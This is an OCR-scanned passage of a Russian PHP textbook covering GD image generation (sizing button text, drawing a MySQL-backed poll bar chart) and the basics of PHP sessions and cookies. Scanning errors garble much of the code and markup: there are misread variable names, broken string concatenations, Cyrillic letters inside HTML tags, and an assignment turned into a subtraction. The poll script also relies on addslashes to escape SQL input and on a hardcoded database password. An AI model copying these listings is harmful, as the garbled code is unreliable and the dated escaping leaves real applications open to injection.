($font_size > 8 && ($height_text > $height_image_wo_margins | | $width_text > $width_image_wo_margins) 472 Часть IV. Более сложные технологии РНР
Этот фрагмент кода проверяет размер шрифта, используя ограничивающий прямо- угольник (bounding box) текста. Его размеры возвращает функция ImageGetTTFBBox (), входящая в состав набора функций работы с TrueType-шрифтами. После определения размера шрифта надпись выводится TrueType-шрифтом (в данном случае Arial, но его можно заменить на любой другой) с помощью функции ImageTTFText (). Ограничивающий прямоугольник текста — это наименьший прямоугольник, в ко- торый можно вписать текст. Пример такого прямоугольника показан на рис. 22.6. .Our Company Рис. 22.6. Координаты ограничивающего прямоугольника задаются относительно базовой линии. Начало координат обозначено как (0,0) Для определения размеров прямоугольника используется вызов $bbox=ImageTTFBBox($font_size, 0, $fontname, $button_text); Это означает: “Каковы размеры текста $button_text, набранного TrueType- шрифтом Arial с наклоном ноль градусов и размером $font_size?”. Вызываемой функции необходимо передать путь к файлу, содержащему шрифт. В данном случае он находится в том же каталоге, что и сценарий (каталоге по умол- чанию), поэтому путь здесь не указан. Функция возвращает массив, содержащий координаты углов ограничивающего прямоугольника. Содержимое этого массива показано в табл. 22.1. Таблица 22.1. Содержимое массива ограничивающего прямоугольника Индекс массива Содержимое 0 Координата х левого нижнего угла. 1 Координата у левого нижнего угла. 2 Координата х правого нижнего угла. 3 Координата у правого нижнего угла. 4 Координата х правого верхнего угла. 5 Координата у правого верхнего угла. 6 Координата х левого верхнего угла. 7 Координата у левого верхнего угла. Чтобы запомнить, как расположены координаты в массиве, достаточно помнить, что нумерация начинается с левого нижнего угла и продолжается против часовой стрелки. При работе со значениями, возвращаемыми функцией ImageTTFBBox (), нужно учитывать один тонкий момент. В отличие от координат изображения, центром для которых служит левый верхний угол, они отсчитываются от базовой линии. Вернемся вновь к рис. 22.6. Линия, соприкасающаяся с большинством букв сни- зу, называется базовой линией (baseline). Части некоторых букв расположены под ней, каку буквы у. Они называются нижними выносными элементами (descender). Глава 22. Генерация изображений 473
Левая точка базовой линии считается началом координат, т.е. она имеет коорди- наты хи у, равные 0. Точки над базовой линией имеют положительную координату х, а под ней — отрицательную. Кроме того, координаты текста могут находиться за пределами ограничивающего прямоугольника. Например, координата х начала текста может быть равна -1. Все это значит, что при выполнении операций над координатами требуется повы- шенное внимание. Определение ширины и высоты текста выполняется следующим образом: $right_text = $bbox[2]; $left_text = $bbox[0]; $width_text = $right_text - $left_text; $height_text = abs($bbox[7] - $bbox[l]); // правая координата // левая координата // ширина надписи // высота надписи После этого проверяется условие цикла: } while ($font_size > 8 && ($height_text > $height_image_wo_margins | | $width_text > $width_image_wo_margins) Здесь проверяется сразу два набора условий. Первый — что шрифт все еще явля- ется читабельным, поскольку не имеет смысла выводить надпись шрифтом, размер которого меньше 8 пунктов. Второй набор проверяет, помещается ли текст внутри отведенной для него области. Затем проверяется, удалось ли с помощью итеративной процедуры подобрать под- ходящий размер шрифта, и если нет, выводится сообщение об ошибке: if ($height_text > $height_image_wo_margins | | $width_text > $width_image_wo_margins) { / / Невозможно подобрать шрифт для текста echo ’Текст не помещается на кнопку.<br />’; } Позиционирование текста Если проблем не возникло, далее нужно вычислить позицию начала текста. Это центр прямоугольника, остающегося после размещения текста: $text_x = $width_image/2.0 — $width_text/2.0; $text_y = $height_image/2.0 — $height_text/2.0; Из-за сложностей, связанных с координатной системой базовой линии, необходи- мо выполнить коррекцию координат: if ($left_text < 0) $text_x += abs($left_text); $above_line_text = abs($bbox[7]); $text_y += $above_line_text; $text_y -= 2; // корректировка отступа // увеличение отступа слева // как далеко от базовой линии? // увеличение отступа сверху для данного шаблона Это немного выравнивает изображение, слегка “перегруженное вверху”. Вывод текста на кнопку Теперь остается лишь вывести текст. Для него выбран белый цвет: $white = ImageColorAllocate ($im, 255, 255, 255) ; 474 Часть IV. Более сложные технологии РНР
Сам текст выводится с помощью функции ImageTTFText (): ImageTTFText($im, $font_size, 0, $text_x, $text_y, $white, $fontname, $button_text); Эта функция требует множество параметров (по порядку): идентификатор изобра- жения, размер шрифта в пунктах, угол наклона текста, координаты х и у начальной точки, цвет текста, файл шрифта и, наконец, собственно текст, который будет выве- ден на кнопке. На заметку! Файл шрифта должен быть доступен на сервере, а на клиентской машине его присутствие не требуется, поскольку к пользователю текст поступает в виде изображения. Заключительные действия Теперь изображение с кнопкой выводится в браузер: Header('Content-type: image/png'); ImagePNG($im); После этого остается только освободить ресурсы: ImageDestroy($im); Вот и все! Если все нормально, в окне браузера должна появиться кндпка, похо- жая на показанную на рис. 22.5. Вычерчивание фигур и построение графиков В последнем примере применялись существующие изображения и текст. Пока еще ничего не было сказано о вычерчивании геометрических фигур, и этот пробел сей- час будет восполнен. В нижеследующем примере создается система опроса, размещенная на веб-сай- те — для предварительного определения, за кого будут голосовать Пользователи на (спокойно, фиктивных) выборах. Результаты будут храниться в базе данных MySQL, и по ним с помощью графических функций будет строиться гистограмма. Одно из основных применений функций работы с изображениями — вычерчива- ние графиков. Данными могут быть объемы продаж, количество посещений веб-сай- та, да и вообще все, что угодно. Для этого примера создана база данных MySQL с именем poll (“опрос”). Она со- держит одну таблицу poll results, состоящую из двух столбцов: candidate — име- на кандидатов и num votes — количество отданных за них голосов. Для доступа к базе данных создан пользователь с именем poll и паролем poll. Для настройки тре- буется несколько минут — достаточно запустить SQL-сценарий, показанный в лис- тинге 22.3. Можно просто перенаправить этот сценарий, зарегистрировавшись как пользователь root: mysql —u root -p < pollsetup, sql Естественно, можно воспользоваться учетной записью любого пользователя, обла- дающего необходимыми правами доступа к MySQL. Глава 22. Генерация изображений 475
Листинг 22.3. pollsetup, sql — установка базы данных poll create database poll; use poll; create table poll_results ( candidate varchar (30), num_votes int ); insert into poll_results values ('Илья', 0), (’Добрыня', 0) , ('Алеша', 0) ; grant all privileges on poll.* to poll@localhost identified by ’poll’; Эта база содержит информацию о трех кандидатах. Интерфейс для голосования обеспечивается страницей vote.html, код которой приведен в листинге 22.4. Листинг 22.4. vote.html — здесь посетители могут проголосовать <html> <head> <title>Onpoc</title> <head> <body> <Ь1>Предварительный onpoc</hl> <p>3a кого вы проголосуете на предстоящих выборах?</р> <form method="post" action="show_poll.php"> <input type="radio" name="vote" value="PLnbn">PLnbn Муромец<Ьг /> <input type="radio" name="vote" value="Добрыня">Добрыня НикитичСЬг /> <input type="radio" name="vote" value="Алеша">Алеша Попович<Ьг /Xbr /> <input type="submit" value="Результаты"> </form> </body> <html> Вид страницы в браузере показан на рис. 22.7. Яе Edit View History Bookmarks Tods Heip * C http:/^x^wt^dpmysd/2^vote.hbd Предварительный опрос За кого вы проголосуете на предстоящих выборах'7 Илья Муромец Добрыня Никитич Алеша Попович Результаты Done Рис. 22.7. На этой странице пользователи могут проголосовать, а щелчок на кнопке “Результаты” приведет к выводу на экран текущих результатов опроса 476 Часть IV. Более сложные технологии РНР
Общая идея такова: когда пользователь щелкает на кнопке Результаты, его голос добавляется в базу данных, затем оттуда читаются все голоса и выводится гистограм- ма текущего состояния результатов. Типичный пример вывода после нескольких сот голосований показан на рис. 22.8. Рис. 22.8. Результаты голосования отображаются за счет отрисовки на холсте линий, прямоугольников и текстовых элементов Сценарий, создающий это изображение, достаточно длинен. Поэтому он разбит на четыре части, которые будут рассмотрены по отдельности. Большая часть сцена- рия выглядит знакомо, поскольку ранее приводилось достаточно много похожих при- меров работы с MySQL, а также одноцветной заливки фонового холста и вывода на нем текстовых меток. Новыми в сценарии являются фрагменты, отвечающие за отрисовку линий и пря- моугольников. Внимание, прежде всего, будет сосредоточено на них. Часть 1 (из че- тырех) представлена в листинге 22.5.1. Листинг 22.5.1. showpoll .php — часть 1 сценария обновляет базу данных и извлекает из нее новые результаты <?php у**************************************************** * Запрос к базе данных для получения данных опроса * * Jr******-************-*********************************/ // Получение значения из формы $vote=$_REQUEST['vote']; /I Регистрация в базе данных if (!$db_conn = new mysqli('localhost', 'poll', 'poll', 'poll')) { echo 'Ошибка доступа к базе данных<Ьг />'; exit; } if (!empty($vote)) { // если форма заполнена, добавить голос $vote = addslashes($vote); $query = "update poll_results set num_votes = num_votes + 1 where candidate = '$vote'"; Глава 22. Генерация изображений 477
if (! ($result = $db_conn->query($query)) ) { echo ’Ошибка доступа к базе данныхСЬг />'; exit; } }; // Запрос текущих результатов голосования независимо //от того, проголосовал ли данный пользователь $query - 'select * from poll_results'; if(!($result = $db_conn->query($query))) { echo 'Ошибка доступа к базе данных<Ьг />'; exit; } $num_candidates = $result->num_rows; // Подсчет общего количества голосов $total_votes = 0; while ($row = $result->fetch_object()) { $total_votes += $row->num_votes; } $result->data _ seek(0); // сброс указателя $result Код в части 1, показанной в листинге 22.5.1, подключается к базе данных MySQL, обновляет данные на основе пользовательского ввода и запрашивает обновленные данные. Располагая этой информацией, можно произвести расчеты, необходимые для построения графика. Вторая часть сценария показана в листинге 22.5.2. Листинг 22.5.2. showpoll.php — в части 2 сценария вычисляются все переменные, необходимые для рисования /*************************************************** * Предварительные расчеты для построения графика * ***************************************************/ / / Установка необходимых констант putenv('GDFOHTPATH=C:\WINDOWS\Fonts'); $width=500; // ширина изображения в пикселях — уместится в экран 640x480 $left_margin = 50; // отступ слева от графика $right__margin = 50; // отступ справа от графика $bar_height = 40; $bar_spacing = $bar_height/2; $font = 'arial'; $title_size = 16; // в пунктах $main_size =12; //в пунктах $small_size = 12; //в пунктах $text_indent =10; // позиция текстовых меток от края изображения // Установка начальной точки для отрисовки $х = $left_margin + 60; $у = 50; $bar_imit = ($width-($x+$right_margin)) / 100; // место базовой линии // то же // "1%" на гистограмме // Подсчет высоты прямоугольников плюс промежуток плюс поле $height = $num_candidates * ($bar_height + $bar_spacing) + 50; В части 2 рассчитываются переменные, необходимые для вычерчивания графика. 478 Часть IV. Более сложные технологии РНР
Вычисление значений этих переменных несколько утомительно, хотя предвари- тельная прикидка, как должно выглядеть окончательное изображение, существенно упростит процесс отрисовки. Используемые здесь значения были получены с помо- щью эскиза на бумаге и приближенной оценки требуемых пропорций. Переменная $ width содержит общую ширину изображения, $left_margin и $right_margin — отступы слева и справа соответственно, $bar_height и $bar_spacing — ширину полос и расстояние между ними, $font, $title_size, $main_size, $small_size и $text_indent — шрифт, его размеры и положение меток. По этим базовым значениям можно рассчитать остальные величины. Вначале не- обходимо нарисовать базовую линию, от которой будут начинаться все полосы гис- тограммы: отступ слева плюс место для текстовых меток по координате х, а также приближенную оценку на основе эскиза по координате у. Далее определяются два важных значения: первое — расстояние на гистограмме, изображающее единицу: $bar_unit = ($width-($x+$right_margin)) / 100; // "1%" на гистограмме Это максимальная длина полосы — от базовой линии до отступа справа — деленная на 100, так как график отображает значения в процентах. Второе значение — полная высота изображения: $height = $num_candidates * ($bar_height + $bar_spacing) + 50; Это высота одной полосы, умноженная на их количество, плюс место под заголо- вок. Часть 3 сценария показана в листинге 22.5.3. Листинг 22.5.3. showpoll.РНР — часть 3 сценария готовит все данные для вывода графика /^^^A’ffiii^i*********************** * Создание базового изображения * **********************************/ // Создание пустого холста $im = ImageCreateTrueColor($width,$height); // Назначение цветов $white=ImageColorAllocate($im,255,255,255); $blue=ImageColorAllocate($im,0,64,128); $black=ImageColorAllocate($im,0,0,0); $pink = ImageColorAllocate($im,255,78,243); $text_color = $black; $percent_color = $black; $bg_color = $white; $line_color = $black; $bar_color = $blue; $number_color = $pink; // Создание фона для рисования ImageFilledRectangle($im, 0, 0, $width, $height, $bg_color); // Контур фонового изображения ImageRectangle($im, 0, 0, $width-l, $height-l, $line_color) ; // Вывод заголовка $title = 'Результаты опроса'; $title_dimensions = ImageTTFBBox($title_size, 0, $font, $title); $title_length = $title_dimensions[2] - $title_dimensions[0]; Глава 22. Генерация изображений 479
$title_height = abs($title_dimensions[7] - $title_dimensions[1]); $title_above_line = abs($title_dimensions [7]); $title_x = ($width-$title_length)/2; // центрирование no x $title_y = ($y - $title_height)/2 + $title_above_line; // центрирование по у ImageTTFText($im, $title_size, 0, $title_x, $title_y, $text_color, $font, $title); // Вычерчивание базовой линии, начиная чуть выше первой полосы //и завершая чуть ниже последней ImageLine($im, $х, $у-5, $х, $height-15, $line _ color); В части 3 выполняется подготовка базового изображения, назначение цветов и вывод части графика. На этот раз заливка фона осуществляется следующим образом: ImageFilledRectangle($im, 0, 0, $width, $height, $bg_color); Функция ImageFilledRectangle (), как можно предположить по названию, вы- водит закрашенный прямоугольник. Как всегда, первый параметр — идентификатор изображения. За ним следуют координаты х и у начальной и конечной точек, т.е., соответственно, левого верхнего и правого нижнего углов прямоугольника. В данном случае весь холст заливается цветом фона — белым, который является последним па- раметром функции. Затем происходит следующий вызов: ImageRectangle($im, 0, 0, $width-l, $height-l, $line_color); который обеспечивает прорисовку контура по краю изображения. Эта функция выво- дит контурный прямоугольник и имеет такие же параметры. Обратите внимание, что конечная точка имеет координаты $ width-1 и $height-l. Если бы они'были равны $ width и $ height, прямоугольник вышел бы за пределы холста. Для центрирования и вывода заголовка гистограммы применяется та же логика и те же функции, что и в предыдущем сценарии. И, наконец, выводится базовая линия: ImageLine,($im, $х, $у-5, $х, $height-15, $line_color) ; Функция ImageLineO вычерчивает линию цвета $line_color на заданном изо- бражении $im, от точки ($х, $у-5) до точки ($х, $height-15). В нашем случае базовая линия начинается чуть выше первой полосы и проходит вниз почти до конца холста. Теперь все готово к выводу данных. Часть 4 сценария показана в листинге 22.5.4. Листинг 22.5.4. showpoll.РНР — часть 4 сценария выводит на графике подготовленные данные и выполняет заключительные операции ★ Вывод данных в графическом виде * ***********************************/ // Получение всех данных из базы и отрисовка соответствующих полос while ($row = $result->fetch_object()) { if ($total_votes > 0) $percent = intval(($row->num_votes/$total_votes)*100); else $percent = 0; 480 Часть IV. Более сложные технологии РНР
/ / Вывод процентов для данного значения $percent_dimensions = ImageTTFBBox($main_size, 0, $font, $percent.'; $percent_length = $percent_dimensions[2] - $percent_dimensions[0]; ImageTTFText($im, $main_size, 0, $width-$percent_length-$text_indent, $y+($bar_height/2), $percent_color, $font, $percent.'; // Длина полосы для* данного значения $bar_length = $х + ($percent * $bar_unit) ; // Вывод полосы для данного значения ImageFilledRectangle($im, $х, $у-2, $bar_length, $y+$bar_height, $bar_color); / / Вывод заголовка для данного значения ImageTTFText($im, $main_size, 0, $text_indent, $y+($bar_height/2), $text_color, $font, "$row->candidate"); // Прорисовка контура, соответствующего 100% ImageRectangle($im, $bar_length+l, $y-2, ($x+(100*$bar_unit)) , $y+$bar_height, $line_color); // Вывод чисел ImageTTFText($im, $small_size, 0, $x+(100*$bar_unit)-50, $y+($bar_height/2), $number_color, $font, $row->num_votes.’/’.$total_votes); // Спуск к следующей полосе $у=$у+($bar_height+$bar_spacing); } у****************************** * Вывод готового изображения * ******************************I Header('Content-type: image/png'); ImagePNG($im); у************************* * Освобождение ресурсов * *************************/ ImageDestroy ($im); ?> В части 4 сценария из базы данных поочередно выбираются данные для каждого кандидата, вычисляется процент голосов, а затем выводятся полосы и поясняющие надписи. Как и ранее, текст выводится при помощи функции ImageTTFText (). Заполненные прямоугольники выводятся функцией ImageFilledRectangle (): ImageFilledRectangle($im, $х, $у-2, $bar_length, $y+$bar_height, $bar_color); Контуры, соответствующие 100%, выводятся функцией ImageRectangle (): ImageRectangle ($im, $bar_length+l, $y-2, ($x+(100*$bar_unit)), $y+$bar_height, $line_color); После вывода всех полос изображение пересылается в браузер с помощью функ- ции ImagePNG (), а затем посредством функции ImageDestroy () освобождаются все ресурсы. Глава 22. Генерация изображений 481
Хоть это довольно-таки объемный сценарий, тем не менее, его несложно адап- тировать под свои нужды. Однако учтите, что в нем нет “противообманного” меха- низма. Пользователи смогут очень быстро обнаружить, что можно проголосовать несколько раз, что сделает результаты, по сути, бессмысленными. При наличии достаточной математической подготовки вы можете воспользовать- ся аналогичным подходом для вывода линейных графиков или, скажем, секторных диаграмм. Другие функции обработки изображений Кроме графических функций, рассмотренных в этой главе, существуют и мно- гие другие. Формирование графических изображений с помощью языка програм- мирования требует длительного времени, а также многих проб и ошибок, пока получится хоть что-нибудь приемлемое. Создание любого изображения следует начинать с макета на бумаге, а уже затем искать в руководстве описание нужных для этого функций. Дополнительные источники информации Немало полезных материалов доступно в Интернете. Если вы испытываете за- труднения при использовании функций работы с изображениями, стоит обратить- ся к документации по библиотеке GD, поскольку PHP-функции являются лишь оболочками для этой библиотеки. Документация по GD находится по адресу http: / / www.libgd.org/Documentation. He забывайте, однако, что PHP-версия GD2 является разновиднортью главной библиотеки, поэтому некоторые детали могут отличаться. Существуют также великолепные обучающие курсы по отдельным типам гра- фических приложений на сайтах Zend и Devshed, доступные, соответственно, на сайтах http: //www. zend.com и http://devshed.com. Идеи приложения, создающего гистограмму, основаны на сценарии Стива Маранды (Steve Maranda), доступном на сайте Devshed. Что дальше В следующей главе рассматривается технология управления сеансами. 482 Часть IV. Более сложные технологии РНР
23 Управление сеансами в РНР В этой главе вы ознакомитесь с возможностями управления сеансами в РНР. В главе рассматриваются следующие темы. Что такое управление сеансами. Cookie-наборы. Настройка сеанса. Переменные сеанса. Сеансы и аутентификация. Что такое управление сеансами Возможно, вам доводилось слышать, что HTTP называют “протоколом без состоя- ния”. Это означает, что данный протокол не имеет встроенного способа поддержки состояния между двумя транзакциями. Если пользователь запрашивает одну страницу, а затем другую, то с помощью HTTP невозможно установить, что оба запроса исходят от одного и того же пользователя. Идея управления сеансами заключается в обеспечении отслеживания пользователя в течение одного сеанса связи с веб-сайтом. Если это удастся, мы сможем легко обес- печить регистрацию пользователя и предоставление ему информации в соответствии с его правами доступа или персональными настройками. Появится возможность от- слеживать поведение пользователя. Кроме того, можно будет реализовать концепцию покупательской тележки (shopping cart). Начиная с четвертой версии, в РНР появились собственные встроенные функции управления сеансами. Подход к управлению сеансами несколько изменился с вводом суперглобальных переменных; теперь можно пользоваться суперглобальным массивом $_SESSION. Базовая функциональность сеансов Для управления сеансами в РНР используется уникальный идентификатор сеанса, представляющий собой криптографически случайное число. Он генерируется РНР и сохраняется на стороне клиента на протяжении всего сеанса. Идентификатор сеанса Глава 23. Управление сеансами в РНР 483
может либо храниться как cookie-набор на компьютере пользователя, либо переда- ваться в составе URL. Идентификатор сеанса играет роль ключа, обеспечивающего возможность регист- рации некоторых специальных переменных в качестве так называемых переменных сеанса. Содержимое этих переменных сохраняется на сервере. Все, что видно на сто- роне клиента это идентификатор сеанса. Если во время некоторого подключения к вашему сайту вы сможете “увидеть” идентификатор сеанса либо в cookie-наборе, либо в URL, то можно получить доступ к переменным данного сеанса, которые хранятся на сервере. По умолчанию переменные сеанса хранятся на сервере в обычных текстовых файлах. (Можно написать собственную функцию, чтобы хранить переменные в базе данных — более подробно об этом можно прочитать в разделе “Конфигурирование управления сеансами”.) Скорее всего, вы уже имели дело с веб-сайтами, запоминающими идентификатор сеанса в URL. Если в вашем URL присутствует строка каких-то случайных данных, то, скорее всего, в этом случае используется одна из форм управления сеансами. Другим решением проблемы сохранения состояния на протяжении нескольких транзакций являются cookie-наборы — тогда URL-адрес не загромождается посторон- ними данными. Что такое cookie-набор? Cookie-набор — это небольшой фрагмент информации, который сценарии сохраня- ют на клиентской машине. Чтобы установить cookie-набор на машине пользовате- ля, необходимо отправить ему HTTP-заголовок, содержащий данные в следующем формате: Set-Cookie: ИМЯ=ЗНАЧЕНИЕ; [expireз=ДАТА;] [path=ЛУТЬ;] [doma i п=ИМЯ_ДОМЕНА;] [secure] В результате будет создан cookie-набор с именем ИМЯ и значением ЗНАЧЕНИЕ. Все остальные параметры являются необязательными. В поле expires задается дата исте- чения срока действия cookie-набора. (Заметим, что если дата истечения срока дейст- вия не задана, cookie-набор будет постоянно действительным, пока его кто-нибудь не удалит вручную — либо вы, либо сам пользователь.) Два параметра path и domain при- меняются вместе для определения одного или нескольких URL, к которым относится данный cookie-набор. Ключевое слово secure означает, что cookie-набор не должен пересылаться через простое НТТР-соединение. Когда браузер соединяется с URL, он сначала просматривает cookie-наборы, хра- нящиеся на локальной машине. Если какие-либо из них относятся к URL, с которым установлено соединение, они передаются обратно серверу. Установка cookie-наборов из РНР Cookie-наборы в РНР можно установить вручную, воспользовавшись функцией setcookie(). Она имеет следующий прототип: bool setcookie (string name [, string value [, int expire [, string path [, string domain [, int secure] ]]]]) Параметры в точности соответствуют параметрам описанного выше заголовка Set-Cookie. 484 Часть IV. Более сложные технологии РНР
Если cookie-набор установлен как setcookie (’mycookie’, ’value'); то когда пользователь запрашивает следующую страницу вашего сайта (или перезагружает текущую страницу), вы получаете доступ к cookie-набору через $_COOKIE [ ’mycookie ’ ]. Для удаления cookie-набора необходимо вызвать setcookie () с тем же именем, но с истекшим сроком действия. Для записи cookie-набора вручную можно восполь- зоваться также функцией header () и описанным выше синтаксисом представления cookie-набора. Однако при этом следует иметь в виду, что заголовки cookie-наборов должны отправляться перед всеми другими заголовками, иначе они не будут работать. (Это ограничение не РНР, а самих cookie-наборов.) Использование cookie-наборов в сеансах С cookie-наборами связаны некоторые проблемы: существуют браузеры, которые не принимают cookie-наборы, кроме того, некоторые пользователи запрещают ис- пользование cookie-наборов. Это одна из причин, по которым в PHP-сеансах исполь- зуются двойной метод cookie-набор/URL (будет рассмотрен чуть ниже). При использовании PHP-сеансов нет необходимости устанавливать cookie-наборы вручную. Функции сеанса делают это сами. Чтобы просмотреть содержимое cookie-набора, установленного текущим сеансом, можно использовать функцию session_get_cookie_params (). Она возвращает мас- сив, содержащий элементы lifetime, path и domain и secure. Можно воспользоваться также session_set_cookie_params ($lifetime, $path, ^domain [, $ secure]); для установки параметров cookie-набора сеанса. Для получения более подробной информации о cookie-наборах обратитесь к спе- цификации cookie-наборов, которая доступна на сайте компании Netscape: http://wp.netscape.com/newsref/std/cookie_spec.html (He обращайте внимания на то, что этот документ декларирован как “предвари- тельное описание” — это тянется с 1995 г. Его можно считать стандартом, хотя фор- мально он таковым не является.) Сохранение идентификатора сеанса В РНР cookie-наборы в сеансах используются по умолчанию. Если есть возмож- ность установить cookie-наборы, то для сохранения идентификатора сеанса будет при- меняться именно этот способ. Другой метод заключается в добавлении идентификатора сеанса к URL-адресу. Можно сделать так, чтобы идентификатор сеанса добавлялся к URL автоматически — для этого следует установить директиву session. use_trans_sid в файле php .ini. По умолчанию эта директива отключена. Соблюдайте осторожность при включении этой директивы, т.к. она повышает риск безопасности сайта. Если она включена, пользова- тель может отправить электронное письмо с URL-адресом, содержащим идентифика- тор сеанса, другому лицу, либо URL может храниться на общедоступном компьютере, либо его можно извлечь из истории посещений или закладок браузера на общедоступ- ном компьютере. Глава 23. Управление сеансами в РНР 485
Можно поступить и по-другому — вручную встроить идентификатор сеанса в ссыл- ку, чтобы обеспечить его передачу. Идентификатор сеанса хранится в константе SID. Для того чтобы передать его вручную, его нужно добавить в конец ссылки, аналогич- но параметру GET: <А HREF="link.php?<?php echo strip_tags(SID); ?>”> (Функция strip tags () здесь служит для того, чтобы сделать невозможными ата- ки межсайтовыми сценариями.) Но все же обычно проще скомпилировать РНР с оп- цией —enable-trans-sid. Реализация простых сеансов Ниже перечислены основные этапы использования сеанса. 1. Запуск сеанса. 2. Регистрация переменных сеанса. 3. Использование переменных сеанса. 4. Разрегистрация (т.е. отмена регистрации) переменных и закрытие сеанса. Заметим, что эти этапы не обязательно должны содержаться в одном сценарии, и некоторые из них могут находиться в нескольких сценариях. Рассмотрим последова- тельно каждый из перечисленных этапов. Запуск сеанса Прежде чем можно будет воспользоваться возможностями, предоставляемыми се- ансом, следует запустить сам сеанс. Существует два способа сделать это.' Первый (и самый простой) заключается в помещении в начало сценария вызова функции session_start (): session_start(); Эта функция проверяет, находитесь ли вы все еще в текущем сеансе. Если нет, она создает идентификатор сеанса, обеспечивая доступ к суперглобальному массиву $_SESSION. Если сеанс уже установлен, session start () загружает зарегистрирован- ные переменные сеанса, после чего их можно использовать. Важно помещать вызов session_start () в начало всех сценариев, в которых ис- пользуется механизм управления сеансами. Если она не будет вызвана, то вся инфор- мация, сохраненная в сеансе, не будет доступна сценарию. Второй способ запустить сеанс — так настроить РНР, что сеанс будет запускаться автоматически, как только кто-то посетит ваш сайт. Для этого следует воспользовать- ся параметром session.auto_start в файле php.ini. Более подробно указанный способ будет описан при рассмотрении вопросов конфигурирования. С этим методом связан один большой недостаток — при включенном параметре auto_start в каче- стве переменных сеанса нельзя использовать объекты. Это происходит потому, что для создания объектов в сеансе определение класса для такого объекта должно быть загружено до запуска сеанса. 486 Часть IV. Более сложные технологии РНР
Регистрация переменных сеанса Способ регистрации переменных сеанса в РНР недавно был изменен. Начиная с версии РНР 4.1. Для создания переменной сеанса нужно просто установить в этом массиве какой-то элемент, например: $_SESSION['myvar’ ] = 5; Созданная переменная сеанса будет актуальной до тех пор, пока вы сеанс не будет завершен либо пока она не будет явно разрегистрирована. Кроме того, может истечь срок действия сеанса, в зависимости от значения session.gc_maxlifetime в файле php.ini. Этот параметр определяет время (в секундах), в течение которого сеанс бу- дет действителен, прежде чем его уничтожит сборщик мусора. Использование переменных сеанса Чтобы сделать переменную сеанса доступной для использования, сначала необходимо запустить сеанс с помощью session start (). После этого к пере- менной можно обратиться через суперглобальный массив $_SESSION, например, так: $_SESSION [ ’myvar ’]. Если в качестве переменной сеанса используется некоторый объект, очень важно поместить перед вызовом session start () определение соответствующего класса, чтобы можно было перегружать переменные сеанса. Тогда РНР будет знать, как пере- создать объект сеанса. С другой стороны, следует внимательно проверять, установлены ли переменные сеанса (с помощью, например, isset () или empty ()). Учтите, что переменные могут быть установлены пользователем с помощью GET или POST. Проверить, зарегистриро- вана ли переменная как переменная сеанса, можно через массив $_SESSION. Такая проверка выполняется очень просто, например: if (isset($_SESSION[’myvar’])) ••• Разрегистрация переменных и уничтожение сеанса После окончания работы с переменной сеанса ее можно разрегистрировать (т.е. отменить ее регистрацию). Это можно сделать непосредственно, удалив из массива $_SESSION соответствующий элемент, например: unset($_SESSION[’myvar’]); Обратите внимание, что вызовы функций session unregister () и session unset () теперь не требуются, да и не рекомендуются. Эти функции использовались до введе- ния массива $_SESSION. Не следует пытаться разрегистрировать целиком весь массив $_SESSION, посколь- ку это отключит все сеансы. Для разрегистрации сразу всех переменных сеанса можно воспользоваться следующим оператором: $_SESSION = array(); По завершении сеанса сначала потребуется разрегистрировать все переменные, а затем вызвать session_destroy(); для очистки идентификатора сеанса. Глава 23. Управление сеансами в РНР 487
Пример простого сеанса Изложенный выше материал может показаться несколько абстрактным, поэтому мы рассмотрим сейчас пример сеанса, работающего с тремя страницами. На первой странице запускается сеанс и создается переменная $_SESSION[ ’ $sess_ var’ ]. Код, позволяющий сделать это, показан в листинге 23.1. Листинг 23.1. pagel .php — запуск сеанса и создание переменной сеанса <?php session_start() ; $_SESSION[’sess_var’] = "Приветствуем на нашем сайте!"; echo ’ Значение $_SESS.ION [\ ’ $sess_var\ ’ ] равно <Ь> ’ . $_SESSION [ ’ sess_var ’ ] . ’<br />’; ?> <а href="page2.php">Ha следующую страницу</а> Этот сценарий создает переменную и устанавливает ее значение. Результат работы сценария показан на рис. 23.1. Рис. 23.1. Исходное значение переменной сеанса, отображаемое сценарием pagel .php Конечное значение переменной на этой странице — это то значение, которое будет доступно на последующих страницах. В конце сценария переменная сеанса сериализиру- ется, или “замораживается”, до перезагрузки при следующем вызове session start (). Таким образом, следующий сценарий начинается с вызова session start (). Этот сценарий показан в листинге 23.2. Листинг 23.2. page2 .php — доступ к переменной сеанса и ее разрегистрация <?php session_start(); echo ’Значение $_SESSION[\’sess_var\’] равно <b>’ . $_SESSION[’sess_var’] . ’</b><br />’; unset($_SESSION[’sess_var’]); <a href = "page3.php">Ha следующую страницу</а> После вызова session start () переменная $_SESSION[ ’ sess var ’ ] становится доступной со значением, сохраненным в предыдущем сеансе —’см. рис. 23.2. Проделав над переменной все необходимые действия, ее нужно разрегистриро- вать. Сеанс еще существует, но переменная $sess_var уже не будет существовать. 488 Часть IV. Более сложные технологии РНР
File Edit View Hgtory gootanarks Tods Help • С X ш lu,J Значение SSESSIONfsessvaf] равно Приветствуем на вашем сайте! На следующую страницу Рис. 23.2. Значение переменной сеанса было передано через идентификатор сеанса странице page2 .php И, наконец, мы переходим к радеЗ.php, последнему сценарию в рассматриваемом примере. Код этого сценария показан в листинге 23.3. Листинг 23.3. радеЗ .php — завершение сеанса <?php session_start(); echo 'Значение $_SESSION[\'sess_var\’] равно <b>' . $_SESSION['sess_var'] . '</b><br />'; session_destroy() ; Как можно видеть на рис. 23.3, значение $_SESSION [ ’ sess_var ’ ] более не доступно. Значение $_SESSION[’sess_var’] равно Fite Edit History gookmarks Tods tJetp J ht^://locd!iost/phpmysd/23/page3.php Рис. 23.3. Переменная сеанса больше не доступна В версиях РНР до 4.3 при попытке разрегистрации элементов массивов $HTTP_SESSION_VARS или $_SESSION может возникнуть ошибка. В этом случае при не- возможности разрегистрировать элементы (т.е. они остаются установленными) нужно воспользоваться функцией session_unregister(). Сценарий завершается вызовом функции session_destroy(), которая уничтожа- ет идентификатор сеанса. Конфигурирование управления сеансами Сейчас давайте ознакомимся с набором параметров конфигурирования для сеан- сов, которые можно установить в своем файле php.ini. В табл. 23.1 перечислены не- которые из наиболее полезных параметров вместе с их кратким описанием. Глава 23. Управление сеансами в РНР 489
